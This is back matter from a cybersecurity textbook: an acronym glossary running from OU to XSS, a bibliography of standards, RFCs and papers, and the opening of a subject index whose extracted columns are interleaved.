introduced a consistent model and notation for protocol layers and has had long-term
significance. The protocols are now considered outdated.
OU Organisational Unit: The name of a department or other unit within an organisation,
often used as an attribute in an X.500 name, where an object is identified by a set of
attributes.

P2P Peer-to-Peer: An architecture for distributed applications, where all participating

systems have the same abilities and privileges, and there is no central control, see
Sect. 1.2.
PAN Personal Area Network: A communication network with a very limited range of
operation, typically a few meters, see Sect. 6.1.
PCI This acronym has two possible meanings:
1. Protocol Control Information: Information that is added to the data which is
to be sent through a network, in order to control the communication protocol
which is used for this purpose, see Sect. 6.1.3.
2. Peripheral Component Interconnect: A type of internal bus in a computer.
PDCA Plan-Do-Check-Act: A design principle for procedures for continual checking and
improvement of processes and products. The four phases – Planning (“Plan”), Im-
plementation (“Do”), Control (“Check”) and Adjustment (“Act”) – are repeated
continually, see Sect. 3.6.
PDoS Permanent Denial of Service: A form of DoS, where permanent damage is done to
some system components, see Sect. 8.10.6.
418 C Acronyms

PDU Protocol Data Unit: A unit which is exchanged between two or more parties in the
course of the execution of a communication protocol, see Sect. 6.1.3.
PET Privacy Enhancing Technology: A technology which makes it possible for the user
to control how many private data he or she exposes, and possibly to check that
service providers follow the rules which the user has set for dealing with private
data, see Sect. 12.4.3.
PGP Pretty Good Privacy: A system for encryption, decryption and creating electronic
signatures, where certificates are vouched for by the users within the framework of
a web-of-trust model without central authorities, see Sect. 5.6.2.
PKCS Public Key Cryptosystem: A system for encryption and decryption, where it is
infeasible to derive the decryption key from the encryption key or vice versa. Only
one of the keys needs to be kept secret, and the other can be made public, see
Sect. 4.1.1.
PKI Public Key Infrastructure: The infrastructure which is needed for creation, control,
distribution, storage and revocation of certificates for use in connection with a PKCS,
see Sect. 5.5.
POP Post Office Protocol: A standard protocol for collection of e-mail in the Internet, see
Sect. 7.1.

qop Quality of protection: A value given in connection with HTTP digest authentication
to indicate the desired level of protection for the data which are exchanged during
authentication, see Sect. 10.5.1.2.

RBAC Role-Based Access Control: A principle for access control, where a subject can take
on one or more roles within an organisation, and the subject’s right to access a given
resource (or to change role) depends on the current role, see Sect. 9.2.1. A system
for RBAC can be used to implement both MAC and DAC (q.v.).
RC4 Rivest Cipher 4: A commonly used symmetric stream cipher. Now deprecated due
to weaknesses, see Sect. 4.3.5.2.
RFC Request for Comments: A document which describes a draft or a finished standard
for use in the Internet, or which describes a recognised good practice, see page 150.
RFCs are numbered in the order in which they originate. Every new version of the
draft or standard gets a new RFC number.
RNC Radio Network Controller: An element in a mobile telephone network based on
UMTS. An RNC can handle traffic to and from several cell masts and is responsible
for encryption and decryption of traffic to and from the individual mobile units, see
Sect. 8.9.3.
RPO Recovery Point Objective: The acceptable loss of data in connection with an emer-
gency situation, measured in operation time (e.g.corresponding to a certain number
of hours’ operation), see Sect. 11.2.
RR Resource Record: A record in a DNS server, which gives information about a system
or domain, see Sect. 6.2.5.
RSA Rivest-Shamir-Adelman: A commonly used algorithm for asymmetric encryption,
named after its inventors, see Sect. 4.4.3.
RSN Robust Security Network: A WiFi-based network with a high level of security, see
Sect. 8.8.2.
RTO Recovery Time Objective: The time within which functionality should be restored
after an emergency situation, see Sect. 11.2.

S/MIME Secure MIME: A set of extensions to SMTP, to enable transfer of e-mails which are
encrypted and/or signed with an electronic signature, see Sect. 8.2.
SD Secure Digital: A family of standard formats for non-volatile memory cards, see
Fig. A.5.
C Acronyms 419

SHA Secure Hash Algorithm: A standard algorithm for calculating hash values for data
objects such as messages, for example to ensure integrity or for use in electronic
signatures. Use of the original SHA (also known as SHA-1) is now deprecated,
as it is not collision-free. More modern versions such as SHA-2 or SHA-3 are
recommended as replacements, see Sect. 5.1.1.
SIM Subscriber Identity Module: The type of identity module (see IM above), which is
used in a GSM network (as a so-called SIM card), see Sect. 6.3.3.
SKCS Secret Key Cryptosystem: A system for encryption and decryption, where the de-
cryption key can easily be derived from the encryption key or vice versa (they are
often identical). Both keys must therefore be kept secret, see Sect. 4.1.1.
SMS Short Message Service: A service offered to mobile devices for sending short mes-
sages (not longer than 160 7-bit characters) over a cellular network, a process often
called texting.
SMTP Simple Mail Transfer Protocol: A standard protocol for transmission and forwarding
of e-mail within the Internet, see Sect. 7.1.
SNMP Simple Network Management Protocol: A standard protocol for configuring and
reading the status of network units in the Internet, see Sect. 8.13.
SPF Sender Policy Framework: A mechanism used to hinder falsification of the IP address
of the sender of mail via SMTP, see Sect.8.12.1.
SQL Structured Query Language: A notation for formulating queries and other commands
directed to many common systems for handling databases, see Sect. 10.3.
SSD Solid State Disk: A purely electronic storage unit without moving parts, which from
the user’s point of view behaves like a classic rotating disk (HDD), see Sect. A.1.1.
SSH Secure SHell: A standard protocol for creating a secure communication channel
over an insecure network. SSH is typically used for secure login and file transfer.
SSL Secure Socket Layer: Strictly speaking a now deprecated predecessor for TLS, see
Sect. 8.4. The acronym is, however, often used to denote all variants of SSL and
TLS.
SSO Single Sign-On: A mechanism which makes it possible for a user to get access to
several services after only providing his or her credentials once, see Sect. 9.1.5.
SYN SYNchronise: A TCP flag which is se in a TCP PDU to indicate that the sender is
requesting creation of a connection or accepts a request which it has received, see
Sect. 6.2.4.

TCP Transmission Control Protocol: The most commonly used protocol for providing a
connection-oriented Transport layer service in the Internet, see Sect. 6.2.
TGT Ticket Granting Ticket: An encrypted document (“ticket”), which proves that the
owner has authenticated itself to the authentication server in a system which uses
Kerberos, and that the owner therefore has the right to ask a ticket-granting server
to issue further tickets which give access to individual services, see Sect. 9.1.5.
TKIP Temporal Key Integrity Protocol: A protocol to give better security in WiFi-based
networks than the original WEP, without replacing the underlying hardware, see
Sect. 8.8.2. Deprecated since 2009 due to weaknesses.
TLS Transport Layer Security: A supplement to TCP which makes it possible to ensure
confidentiality and integrity of the transmitted data, together with authentication of
the communicating parties, see Sect. 8.4.
TOCTTOU Time of Check to Time of Use: A term for a type of security breach where the
attacker exploits the fact that there is a time interval between the instant when the
right to use a resource is checked and the instant when the resource is in fact used,
see Sect. 10.1.5.
TPM Trusted Platform Module: An internationally standardised type of secure crypto-
processor, typically used for ensuring the integrity of a system’s hardware and/or
software, or for storage of encryption keys or passwords, see Sect. 9.5.
420 C Acronyms

TSK The Sleuth Kit: A library and collection of auxiliary programs for use in investigating
security incidents by analysing disk and file contents, see Sect. 11.1.2.

UDP User Datagram Protocol: The most commonly used protocol for providing a con-
nectionless Transport layer service in the Internet, see Sect. 6.2.
UEFI Unified Extensible Firmware Interface: A standardised specification for the archi-
tecture of firmware for booting a computer and its interface to the operating system.
UEFI firmware replaces the previously used BIOS, see Sect. 9.8.
UMTS Universal Mobile Telecommunications System: A further development of GSM for
use in third generation (“3G”) mobile telephone networks. UMTS makes it possible
to transmit data at higher rates than GSM, and has improved security, see Sect. 6.3.3.
URI Uniform Resource Identifier: A standardised form of identification of a resource,
such as a system or a collection of data, in the Internet, see Fig. 7.10.
USB Universal Serial Bus: A family of industry standards for cables, plugs and protocols
for communication at various speeds between computers and other electronic units,
such as disks, printers, digital cameras, audio equipment and network equipment,
see Sect. A.1.3.

VLR Visitor Location Register: A central database in a mobile telephone network, con-
taining details of subscribers which are attached to the network, but who are actually
registered as customers of another network operator, see Sect. 6.3.3.
VM Virtual Machine: A replica of one computer system (often known as the guest
system) which with the help of special software or hardware in fact runs on another
computer system (often known as the host system).
VPN Virtual Private Network: A network which is based on parts of an existing network’s
infrastructure, and which can offer a secure communication mechanism for data and
other information which are transferred between the systems that are attached to the
VPN, see Sect. 8.3.

WAN Wide Area Network: A communication network which covers a large geographical
area, for example a whole country or region, see Sect. 6.1.
WEP Wired Equivalent Privacy: The original form of security in WiFi-based networks.
Now strongly deprecated, see Sect. 8.8.1.
WPA Wi-Fi Protected Access: An improved form of security in WiFi-based networks,
based amongst other things on use of TKIP. Now replaced by the even better WPA2,
which is based on IEEE Standard 802.11i, see Sect. 8.8.2.

XOR Exclusive Or: A logical operation with two operands, which gives the result true
when the two operands have different truth values, and false, when they have the
same value. As the value true is often represented by the number 1 and false by
0, XOR corresponds to the arithmetic operation of addition modulo 2 (i.e., that
0 + 0 = 1 + 1 = 0 and 1 + 0 = 0 + 1 = 1).
XSS Cross-Site Scripting: A vulnerability, typically found in web-based applications,
which makes it possible for an attacker to insert harmful scripts in web pages, so
they are executed on the client side when the pages are displayed, see Sect. 10.5.6.1.
References

1. Accenture: 2017 Cost of Cyber Crime Study. Tech. rep. (2017). Web
publication: https://www.accenture.com/_acnmedia/PDF-62/Accenture-
2017CostCybercrime-US-FINAL.pdf [Accessed 22-June-2023]
2. Alberts, C., Dorofee, A.: OCTAVE Method Implementation Guide Version 2.0, Vol-
ume 1: Introduction. Tech. rep., Software Engineering Institute, Carnegie Mellon Uni-
versity (2001). Web publication: https://resources.sei.cmu.edu/asset_files/
UsersGuide/2001_012_001_51564.pdf [Accessed 22-June-2023]
3. Alberts, C., Dorofee, A., Stevens, J., Woody, C.: Introduction to the OCTAVE approach.
Tech. rep., Software Engineering Institute, Carnegie Mellon University (2003). Web publica-
tion: https://resources.sei.cmu.edu/asset_files/UsersGuide/2003_012_001_
51556.pdf [Accessed 22-June-2023]
4. Ale, B.: Risk: An Introduction. Routledge (2009). ISBN 978-0-415-49090-0
5. Anderson, R., Barton, C., Böhme, R., Clayton, R., van Eeten, M.J., Levi, M., Moore, T., Sav-
age, S.: Measuring the cost of cybercrime. In: B. Schneider (ed.) Economics and Information
Security and Privacy III, pp. 265–300. Springer Verlag (2012). ISBN 978-146141980
6. Arief, U., Bin Adzmi, M.A.: Understanding cybercrime from its stakeholders’ perspectives:
Part 2 – defenders and victims. IEEE Security and Privacy 13(2), 84–88 (2015). DOI
10.1109/MSP.2015.44
7. Arief, U., Bin Adzmi, M.A., Gross, T.: Understanding cybercrime from its stakeholders’
perspectives: Part 1 – attackers. IEEE Security and Privacy 13(1), 71–76 (2015). DOI
10.1109/MSP.2015.19
8. Article 29 Data Protection Working Party: Guidelines on Data Protection Impact Assess-
ment (DPIA) and determining whether processing is "likely to result in a high risk" for
the purposes of Regulation 2016/679, Version wp248 rev.01. European Commission DG
Justice (2017). Web publication: https://ec.europa.eu/newsroom/just/document.
cfm?doc_id=47711 [Accessed 22-June-2023]
9. Ayers, R., Brothers, S., Jansen, W.: Guidelines on mobile device forensics. NIST Special
Publication SP800-101 Rev.1, National Institute of Standards and Technology (2014)
10. Barth, A.: RFC 6265: HTTP State Management Mechanism (2011)
11. Bartock, M., Cichonski, J., Souppaya, M., Smith, M., Witte, G., Scarfone, K.: Guide for
cybersecurity event recovery. NIST Special Publication SP800-184, National Institute of
Standards and Technology (2016)
12. Booz Allan Hamilton: Software security assessment tools review. Tech. rep., US NAVSEA
(2009). Web publication: https://samate.nist.gov/docs/NAVSEA-Tools-Paper-
2009-03-02.pdf [Accessed 22-June-2023]
13. Caralli, R.A., Stevens, J.F., Young, L.R., Wilson, W.R.: Introducing OCTAVE Allegro:
Improving the information security risk assessment process. Tech. Rep. CMU/SEI-2007-
TR-012, Software Engineering Institute, Carnegie Mellon University (2007). Web pub-
© The Editor(s) (if applicable) and The Author(s), under exclusive license
to Springer Nature Switzerland AG 2024 421
R. Sharp, Introduction to Cybersecurity, Undergraduate Topics in Computer Science,
https://doi.org/10.1007/978-3-031-41463-3
422 References

lication: https://resources.sei.cmu.edu/asset_files/TechnicalReport/2007_
005_001_14885.pdf [Accessed 22-June-2023]
14. Casey, E., Stellatos, G.J.: The impact of full disk encryption on digital forensics. ACM
SIGOPS Operating Systems Review 42(3), 93–98 (2008)
15. Comer, D.E.: The Internet Book: Everything you need to know about computer networking
and how the Internet works, fourth edn. Pearson (2007). ISBN 978-0-13-233553-9
16. Comer, D.E.: Computer Networks and Internets, sixth edn. Pearson (2014). ISBN 978-0-13-
358793-7
17. Common Criteria for Information Technology Security Evaluation, Part 1: Introduc-
tion and general model. Version 3.1, revision 4. Publication CCMB-2012-09-001
(2012). Web publication: https://www.commoncriteriaportal.org/files/ccfiles/
CCPART1V3.1R4.pdf [Accessed 22-June-2023]
18. COSO: Internal Control – Integrated Framework. Committee of Sponsoring Organizations
of the Treadway Commission (2013). ISBN 978-1-93735-239-4
19. Council of Europe: European Treaty Series no. 185: Convention on Cybercrime (2001)
20. Council of Europe: Council of Europe Treaty Series no. 196: Council of Europe Convention
on the Prevention of Terrorism (2005)
21. Creative Commons: Attribution 2.5 Generic. Web publication: https://
creativecommons.org/licenses/by/2.5/legalcode [Accessed 22-June-2023]
22. Creative Commons: Attribution 3.0 Unported. Web publication: https://
creativecommons.org/licenses/by/3.0/legalcode [Accessed 22-June-2023]
23. Crocker, D., Hansen, T., S.Kucherawy, M.: RFC 6376: Domain Keys Identified Mail (DKIM)
Signatures (2013). Internet Standard STD 76.
24. Dahse, J., Holz, T.: Simulation of built-in PHP features for precise static code analysis. In:
NDSS’14: Proceedings of the 2014 Network and Distributed System Security Symposium.
Internet Society (2014)
25. Dhamija, R., Tygar, J., Hearst, M.: Why phishing works. In: R. Grinter, et al. (eds.) CHI2006:
Proceedings of SIGCHI Conference on Human Factors in Computing Systems, Montréal,
Canada, pp. 581–590. ACM (2006)
26. Dunkelman, O., Keller, N., Shamir, A.: A practical-time attack on the KASUMI cryptosystem
used in GSM and 3G telephony. In: Advances in Cryptology – CRYPTO 2010, Lecture Notes
in Computer Science, vol. 6223, pp. 393–410. Springer-Verlag (2010)
27. Dworkin, M.: Recommendation for block cipher modes of operation. NIST Special Publica-
tion SP800-38A, National Institute of Standards and Technology (2001)
28. European Commission: Annex to the Commission Implementing Decision on stan-
dard contractual clauses for the transfer of personal data to third countries.
Web publication: https://commission.europa.eu/system/files/2021-06/1_en_
annexe_acte_autonome_cp_part1_v5_0.pdf (2021). [Accessed 22-June-2023]
29. European Data Protection Board: Guidelines 3/2019 on processing of personal data through
video devices, version 2.0. Tech. rep., European Commission, Brussels (2020). Web
publication: https://edpb.europa.eu/sites/default/files/files/file1/edpb_
guidelines_201903_video_devices_en.pdf [Accessed 22-June-2023]
30. European Union: Directive 1999/93/EC of the European Parliament and of the Council of 13
December 1999 on a Community framework for electronic signatures (1999)
31. European Union: Regulation (EU) No. 910/2014 of the European Parliament and of the Coun-
cil of 23 July 2014 on electronic identification and trust services for electronic transactions
in the internal market and repealing Directive 1999/93/EC. (2014)
32. European Union: Regulation 2016/679 of the European Parliament and of the Council: General
Data Protection Regulation (2016)
33. Evans, D., Larochelle, D.: Improving security using extensible lightweight static analysis.
IEEE Software pp. 42–51 (2002)
34. Falliere, N., O Murchu, L., Chien, E.: W32.Stuxnet Dossier. Symantec Corporation, 1.4 edn.
(2011). Web publication: https://docs.broadcom.com/doc/security-response-
w32-stuxnet-dossier-11-en [Accessed 22-June-2023]
References 423

35. Felt, A.P., Chin, E., Hanna, S., Song, D., Wagner, D.: Android permissions demystified. In:
CCS’11, pp. 627–637. ACM (2011)
36. Ferguson, N., Schneier, B., Kohno, T.: Cryptography Engineering: Design Principles and
Practical Applications. Wiley (2010). ISBN 978-0-470-47424-2
37. FireEye, Inc.: Redline User Guide, 2.0 edn. (2020). Web publication: https://fireeye.
market/assets/apps/211364/documents/877936_en.pdf [Accessed 22-June-2023]
38. Frankel, S., Hoffman, P., Orebaugh, A., Park, R.: Guide to SSL VPNs. NIST Special Publi-
cation SP800-113, National Institute of Standards and Technology (2008)
39. Freed, N., Borenstein, N.S.: RFC 2045: Multipurpose Internet Mail Extensions (MIME) Part
One: Format of Internet Message Bodies (1996)
40. Freed, N., Borenstein, N.S.: RFC 2046: Multipurpose Internet Mail Extensions (MIME) Part
Two: Media Types (1996)
41. Halderman, J.A., Schoen, S.D., Heninger, N., Clarkson, W., Paul, W., Calandrino, J.A.,
Feldman, A.J., Appelbaum, J., Felten, E.W.: Lest We Remember: Cold Boot Attacks on
Encryption Keys. In: Proceedings of the 17th USENIX Security Symposium, pp. 45–60.
Usenix (2008)
42. Housley, R.: RFC 5652: Cryptographic Message syntax (CMS) (2009). Internet Standard
STD70.
43. Hovemeyer, D., Pugh, W.: Finding more null pointer bugs, but not too many. In: PASTE’07:
Proceedings of the 7th ACM SIGPLAN-SIGSOFT Workshop on Program Analysis for Soft-
ware Tools and Engineering, San Diego, pp. 9–14. ACM (2007)
44. IANA: Uniform Resource Identifier (URI) Schemes (2022). Web publication: https://www.
iana.org/assignments/uri-schemes/uri-schemes.xhtml [Accessed 22-June-2023]
45. International Standards Organisation: International Standard ISO11172-2: Information Tech-
nology – Coding of Moving Pictures and Associated Audio for Digital Storage Media at up
to about 1,5 Mbit/s – Part 2: Video (1993)
46. International Standards Organisation: International Standard ISO10918-1: Information Tech-
nology – Digital compression and coding of continuous-tone still images – Part 1: Require-
ments and guidelines (1994)
47. ISACA (ed.): COBIT5 for Information Security. Information Systems Audit and Control
Association (2012). ISBN 978-1-60420-255-7
48. ISO: ISO/IEC 27005:2011 – Information technology – Security techniques – Information
security risk management. International Organization for Standardization, second edn. (2011)
49. ISO: ISO/IEC 27002:2013 Information Technology – Security Techniques – Code of Practice
for Information Security Management. International Organization for Standardization (2013)
50. ITU-T: Recommendation G.711: Pulse Code Modulation (PCM) of Voice Frequencies (1972)
51. ITU-T: Recommendation X.520: The Directory: Selected Attribute Types (1993)
52. ITU-T: Report on the e-commerce survey conducted in the framework of World Telecommu-
nication Day 1999 (1999). Web publication: https://www.itu.int/newsarchive/wtd/
1999/report.html [Accessed 22-June-2023]
53. Jones, J.A.: An Introduction to Factor Analysis of Information Risk. Tech. rep., Risk Man-
agement Insight LLC (2006). Web publication: https://www.riskmanagementinsight.
com/media/docs/FAIR_introduction.pdf [Accessed 22-June-2023]
54. Jonsson, J., Kaliski, B.: RFC 3447: Public-Key Cryptography Standards (PKCS) #1: RSA
Cryptography Specifications Version 2.1 (2003)
55. Kahneman, D.: Thinking, Fast and Slow. Penguin Books, London (2012). ISBN 978-0-141-
03357-0
56. Kahneman, D., Slovic, P., Tversky, A. (eds.): Judgment under Uncertainty: Heuristics and
Biases. Cambridge University Press, Cambridge (1982). ISBN 0-521-28414-7
57. Kent, K., Chevalier, S., Grance, T., Dang, H.: Guide to Integrating Forensic Techniques into
Incident Response. NIST Special Publication SP800-86, National Institute of Standards and
Technology (2006)
58. Kitterman, S.: RFC 7208: Sender Policy Framework (SPF) for Authorizing Use of Domains
in Email, Version 1 (2014)
424 References

59. Kosinski, M., Stillwell, D., Graepel, T.: Private traits and attributes are predictable from
digital records of human behaviour. Proceedings of the National Academy of Sciences
110(15), 5802–5805 (2013)
60. Kurose, J.F., Ross, K.W.: Computer Networking – A Top-Down Approach Featuring the
Internet, seventh edn. Addison-Wesley (2016). ISBN 978-0-13-359414-0
61. Lewand, R.: Cryptological Methematics. Mathematical Association of America (2000). ISBN
98-0-883-85719-7
62. Ligh, M.H., Case, A., Levy, J., Walters, A.: The Art of Memory Forensics. John Wiley (2014)
63. Mandiant: APT1. Mandiant Intelligence Center (2013). Available from archive at:
https://web.archive.org/web/20211008023335/https://www.mandiant.com/
media/9941/download [Accessed 22-June-2023]
64. McAfee: Net losses: Estimating the global cost of cybercrime. Tech. rep., Center for Strategic
and International Studies (2014)
65. Mitnick, K.D., Simon, W.L.: The Art of Deception: Controlling the Human Element of
Computer Security. Wiley Books (2003). ISBN 978-0-7645-4280-0
66. Moriarty, K.M., Nystrom, M., Parkinson, S., Rusch, A., Scott, M.: RFC 7292: PKCS #12:
Personal Information Exchange Syntax v1.1 (2014)
67. Morris, R., Thompson, K.: Password security: A case history. Communications of the ACM
22(11), 594–597 (1979)
68. NIST: Framework for improving critical infrastructure cybersecurity, version 1.1.
Tech. rep., National Institute of Standards and Technology (2018). Web publica-
tion: https://csrc.nist.gov/publications/detail/white-paper/2018/04/16/
cybersecurity-framework-v11/final [Accessed 22-June-2023]
69. Nystrom, M., Kaliski, B.: RFC 2986: PKCS #10: Certification Request Syntax Specification
Version 1.7 (2000)
70. OWASP Foundation: OWASP Top 10 – 2021. Tech. rep., Open Web Application Security
Project (2021). Web publication: https://owasp.org/Top10/ [Accessed 22-June-2023]
71. Patterson, D.A., Hennessy, J.L.: Computer Organization and Design – The Hardware/Software
Interface, sixth edn. Morgan Kaufmann (2020). ISBN 978-0-12-820109-1
72. Ramsdell, B., Turner, S.: RFC 5751: Secure/Multipurpose Internet Mail Extensions
(S/MIME) Version 3.2 Message Specification (2010)
73. Reschke, J.F.: RFC 7617: The ’Basic’ HTTP Authentication Scheme (2015)
74. Robshaw, M., Billet, O. (eds.): New Stream Cipher Designs – The eSTREAM Finalists,
Security and Cryptology, vol. 4986. Springer-Verlag (2008). ISBN 978-3-540-68351-3
75. Rogers, R.W.: Cognitive and physiological processes in fear appeals and attitude change: A
revised theory of protection motivation. In: J. Cacioppo, R. Petty (eds.) Social Psychophysi-
ology, pp. 153–176. Guilford Press, New York (1983)
76. Royal Society: Risk: Analysis, perception and management. Report of a Royal Society
Working Group, Royal Society, London (1992)
77. Schmitt, N. (ed.): Tallinn Manual 2.0 on the International Law Applicable to Cyber Opera-
tions. Cambridge University Press (2017). ISBN 978-1-316-63037-2
78. Schneier, B.: Applied Cryptography, second edn. Wiley (1996). ISBN 978-0-471-11709-4
79. Sciberras, A.: RFC 4519: Lightweight Directory Access Protocol (LDAP): Schema for User
Applications (2006)
80. Seltzer, W., Anderson, M.: Ethical issues in using statistics, statistical methods, and statistical
sources in work related to homeland security. In: Encyclopedia of Quantitative Risk Analysis
and Assessment, vol. 2. John Wiley (2008). ISBN: 978-0-470-03549-8
81. Shekh-Yusef, R., Ahrens, D., Bremer, S.: RFC 7616: HTTP Digest Access Authentication
(2015)
82. Singh, S.: The Code Book: The Secret History of Codes and Code-breaking. Fourth Estate
(1999). ISBN 978-1-857-02889-8
83. Smart, N.: Cryptography Made Simple. Springer-Verlag (2016). ISBN 978-3-319-21935-6
84. Stallings, W., Brown, L.: Computer Security: Principles and Practice, fourth edn. Pearson
(2018). ISBN 978-0-134-79410-5
References 425

85. Stinson, D.R., Paterson, M.: Cryptography: Theory and Practice, fourth edn. Chapman &
Hall/CRC (2018). ISBN 978-1-138-19701-5
86. Tanenbaum, A.S., Austin, T.: Structured Computer Organization, sixth edn. Pearson (2012).
ISBN 978-0-13-291652-3
87. Tews, E., Weinmann, R.P., Pyshkin, A.: Breaking 104 bit WEP in less than 60 seconds. In:
Proceedings of the 8th International Workshop on Information Security Applications (WISA
2007), Lecture Notes in Computer Science, vol. 4867, pp. 188–202. Springer-Verlag (2007)
88. The Tor Project: Tor: Overview. Web publication: https://www.torproject.org/about/
overview.html.en (undated). [Accessed 22-June-2023]
89. Todorov, A., Baron, S.G., Oosterhof, N.N.: Evaluating face trustworthiness; A model based
approach. Social Cognitive and Affective Neuroscience 3(2), 119–127 (2008)
90. del Torto, D., Elkins, M., Levien, R., Roessler, T.: RFC 3156: MIME Security with OpenPGP
(2001)
91. US National Security Agency: NSA ANT catalog. Web publication (2013). Original publica-
tion date unknown. Available from Wikimedia Commons: https://commons.wikimedia.
org/wiki/Category:NSA_ANT [Accessed 22-June-2023]
92. Verizon: 2016 Data Breaches Investigations Report. Tech. rep. (2016). Web publication:
https://www.verizon.com/business/resources/reports/DBIR_2016_Report.
pdf [Accessed 22-June-2023]
93. Verizon: 2021 Data Breaches Investigations Report. Tech. rep. (2021). Web publi-
cation: https://enterprise.verizon.com/resources/reports/2021/2021-data-
breach-investigations-report.pdf
94. Weirich, D., Sasse, M.A.: Pretty Good Persuasion: A first step towards effective password
security for the Real World. In: NSPW’01: Proceedings New Security Paradigms Workshop
2001, Cloudcroft, New Mexico, pp. 137–143. ACM Press (2001)
95. WHATWG: HTML – Living Standard. Web publication: https://html.spec.whatwg.
org/print.pdf (2022). [Accessed 22-JUne-2023. Always the latest updated version.]
96. Wheeler, D.A.: Flawfinder (2001). Web publication: https://www.dwheeler.com/
flawfinder [Accessed 22-June-2023]
97. Wheeler, D.A.: Secure Programming HOWTO, v3.72 edn. (2015). Web publication:
https://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO.pdf [Ac-
cessed 22-June-2023]
98. Wheeler, D.A.: How to Prevent the next Heartbleed (2020). Revised edition, originally issued
2014. Web publication: https://dwheeler.com/essays/heartbleed.html [Accessed
22-June-2023]
99. Wikipedia contributors: List of operating systems — Wikipedia, the free ency-
clopedia. https://en.wikipedia.org/w/index.php?title=List_of_operating_
systems&oldid=1160973695 (2023). [Online; accessed 21-June-2023]
100. Williams, J.: ACPO Good Practice Guide for Digital Evidence. Tech. rep., Association of
Chief Police Officers (2012). Web publication: https://athenaforensics.co.uk/wp-
content/uploads/2019/01/National-Police-Chiefs-Council-ACPO-Good-
Practice-Guide-for-Digital-Evidence-March-2012.pdf [Accessed 22-June-
2023]
101. Williamson, A.M., Feyer, A.M., Cairns, D., Biancotti, D.: The development of a measure
of safety climate: The role of safety perceptions and attitudes. Safety Science 25(1), 15–27
(1997)
Index

Symbols Advanced Encryption Standard see AES

Advanced Persistent Threat see APT
0-day attack 295, 323 AES 72–73, 269
3-way handshake 138 AKA 208
3DES 69, 269 amplification 215
amplifier 215, 217
A analysis group 47
Android 266
A5/1 75, 206 Android Debug Bridge 331
A5/2 206 anomaly detection 196, 294
A5/3 206 ANT catalog 228
access 48 anti-terror laws 352–353
access control antivirus system see AV system
for CPU 264–265 API 267, 391
for hardware units 263 App 391
hardware based 260 applet 166, 316
in Android 265 sandbox 316
in file system 254–259 security 316
in memory 260–263 Application layer
access control list see ACL encryption 172, 175–177
access control matrix (ACM) 252 application program 391, 393–394
accountability 355 Application Program Interface see API
ack 137, 138 APT 5, 330
ACL 256, 257 arbitrator 102
compressed 255 architecture
activation code 115 client-server 3, 153
active attacker 112 P2P 3
active server page 166 ARP 141
ActiveX 316 ARP cache 141
security 317 ASCII character set 158
actor 48 ASP.NET 320
actuator 4 asset 9, 48
Ad hoc Mode 145 data 9
ADB 331 equipment 9
address 132 software 9
administrator 251 attack 41, 59, 212
privileges 255 0-day 295, 323
© The Editor(s) (if applicable) and The Author(s), under exclusive license
to Springer Nature Switzerland AG 2024 427
R. Sharp, Introduction to Cybersecurity, Undergraduate Topics in Computer Science,
https://doi.org/10.1007/978-3-031-41463-3
428 Index

adaptive chosen plaintext 59 weak 107

brute-force 59, 101, 203, 241 with PKCS 110–111
chosen plaintext 59, 87 with SKCS 108–109
ciphertext alone 59 zero-knowledge 108
cold boot 269 authentication code 245
costs 9 authenticator 108, 249
dictionary 241, 243 Authenticode 317
DoS 199, 211–218 authorisation 250
countermeasures 218 authoritative DNS-server 218
distributed 216–217 AV system 293–296
in Application layer 211–213 anomaly detection 294
in Internet layer 214–215 behaviour based 293, 294
in Link layer 215 in telephone 295
in Physical layer 215 misuse detection 294
in Transport layer 213–214 signature based 293
permanent 217 availability 10, 12, 171, 211
risks 218 avalanche effect 98
known cleartext 307 awareness campaign 342, 343
known plaintext 59, 66
length extension 98 B
man-in-the-middle 29, 111, 112, 187, 199,
203, 209 backdoor 19, 289, 374
psychological 18–27 backup 337
redirection 173, 184 base 400
related key 59, 77, 206 Base Transceiver Station see BTS
ROCA 374 base64 encoding 160, 306–307
supply-chain 7 baseline based analysis 197
virus-based 290–291 basic authentication 305
worm-based 292 Basic Service Set see WiFi BSS
zero-day 272 bastion host 192, 194, 195
attribute 299 BCP 333–341
attribution error, fundamental 24 resource requirements 335
AuC 149, 204, 207 Big Brother society 353
authentication 107–111, 128 bigram 63
biometric 237–240 binary data 66
face recognition 238 binary digit 401
finger pattern recognition 239 biometric authentication 237–240
fingerprint 237 biometric parameter 237
iris recognition 239 biometric property 388
template 240 BIOS 267, 273, 392
vein pattern recognition 240 birthday paradox 97, 410
evidence 107 bit generator
kerberos 248–250 period 74
multi-factor 247 pseudo-random 73
one-time password 245–246 random 73
password 241–246 shift register based 74–75
pattern lock 246–247 BitLocker 268
pre-boot 269 Blaise de Vigenère 64
protocol 107 block cipher 101
server 108, 110, 201, 248 mode 70–71, 73, 101, 184, 249
strong 107, 108 Bluebugging 204
three-way 111 Bluejacking 204
through the net 247–250 Bluesnarfing 204
trends 247 Bluetooth
Index 429

authentication 202 revocation 114, 188

encryption key 202 risks 187–188
link key 202 root 116
pairing 202 self-signed 116, 118, 316
security 202–204 Certificate Authority (CA) 113
SSP 203 Certificate Revocation List see CRL
BluRay disk 387 Certificate Signing Policy (CSP) 115
boot 392 ChaCha20 78, 185
boot loader 273 chain of responsibility 330
boot manager 273 challenge-response 245
boot sector 273 Change Permissions 259
bootkit 267, 273 checksum
botnet 6, 8, 216 CRC 200
brain mode of operation 22 cryptographic 95, 201
breach of copyright 350 child pornography 350
bridge 142, 388 Chinese remainder theorem 86, 406–407
brute-force attack 59, 101, 203, 241 CIA target 10, 128, 171
Btrfs 340 definition 10
BTS 147 CIP 226
false 208–209 Cipher Block Chaining see CBC
buffer overflow 282–284, 292 ciphertext 57, 58
buffer overread 284–285 CipherText Stealing see CTS
bus 381, 388 CIRP 335
